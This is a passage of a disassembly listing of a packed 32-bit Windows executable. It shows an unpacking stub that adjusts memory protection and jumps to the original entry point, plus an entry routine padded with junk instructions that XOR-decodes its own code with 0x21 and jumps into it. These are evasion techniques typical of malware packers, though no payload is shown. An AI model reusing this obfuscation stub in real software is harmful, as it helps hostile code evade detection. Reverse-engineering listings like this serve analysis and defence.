ptr [esi+1E404h] or eax, eax jz short loc_41E6D1 mov [ebx], eax add ebx, 4 jmp short loc_41E6A9 ; --------------------------------------------------------------------------- loc_41E6D1: ; CODE XREF: HSho:0041E6C8j call dword ptr [esi+1E414h] loc_41E6D7: ; CODE XREF: HSho:0041E690j mov ebp, [esi+1E408h] lea edi, [esi-1000h] mov ebx, 1000h push eax push esp push 4 push ebx push edi call ebp lea eax, [edi+1FFh] and byte ptr [eax], 7Fh and byte ptr [eax+28h], 7Fh pop eax push eax push esp push eax push ebx push edi call ebp pop eax popa lea eax, [esp-80h] loc_41E70B: ; CODE XREF: HSho:0041E70Fj push 0 cmp esp, eax jnz short loc_41E70B sub esp, 0FFFFFF80h jmp loc_41168A ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= public start start proc far var_C = dword ptr -0Ch repne mov ecx, 29DEF744h mov al, dh test eax, 0FE976475h xchg ecx, eax mov esi, 1E378415h jmp short loc_41E756 ; --------------------------------------------------------------------------- db 14h ; --------------------------------------------------------------------------- loc_41E756: ; CODE XREF: start+16j adc eax, 3ED7A4B5h and ecx, edi lea edi, ds:5E77C455h imul ecx, eax, 796EC754h db 65h btc edi, 0C5h adc eax, 9EB70495h movzx ecx, di shld edi, esi, 35h adc esi, ebp test dh, cl mov ebx, ecx inc ecx test eax, 86BFAC5Dh inc ecx repne lea ebp, ds:5CCD527Bh repne xadd bh, ah btc ebx, edx mov ecx, 796EC754h jmp short loc_41E79E ; --------------------------------------------------------------------------- pop ss loc_41E79E: ; CODE XREF: start+5Ej mov dh, ah shrd ebp, edi, cl jmp short loc_41E7A6 ; --------------------------------------------------------------------------- push ecx loc_41E7A6: ; CODE XREF: start+66j cmp al, 2Fh rep xadd bh, ah xor ebx, ecx and ecx, edi db 64h rcr ah, cl imul ebx, edx jmp short loc_41E7BA ; --------------------------------------------------------------------------- align 2 loc_41E7BA: ; CODE XREF: start+7Aj bsf edi, esi jmp short loc_41E7C0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_41E7C0: ; CODE XREF: start+80j push ebp mov ebp, esp mov edi, offset loc_41E580 mov esi, edi mov ecx, 0AFh loc_41E7CF: ; CODE XREF: start+AFj xor byte ptr [edi], 21h push eax mov eax, 2 push eax add edi, [esp+0] pop eax pop eax push ecx sub ecx, ecx mov ecx, 1 loc_41E7E6: ; CODE XREF: start+ACj sub edi, 1 loop loc_41E7E6 pop ecx loop loc_41E7CF jmp esi start endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 1000h HSho ends ; Section 4. (virtual address 00020000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00020000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 420000h dd 80h dup(0) align 1000h _idata2 ends end start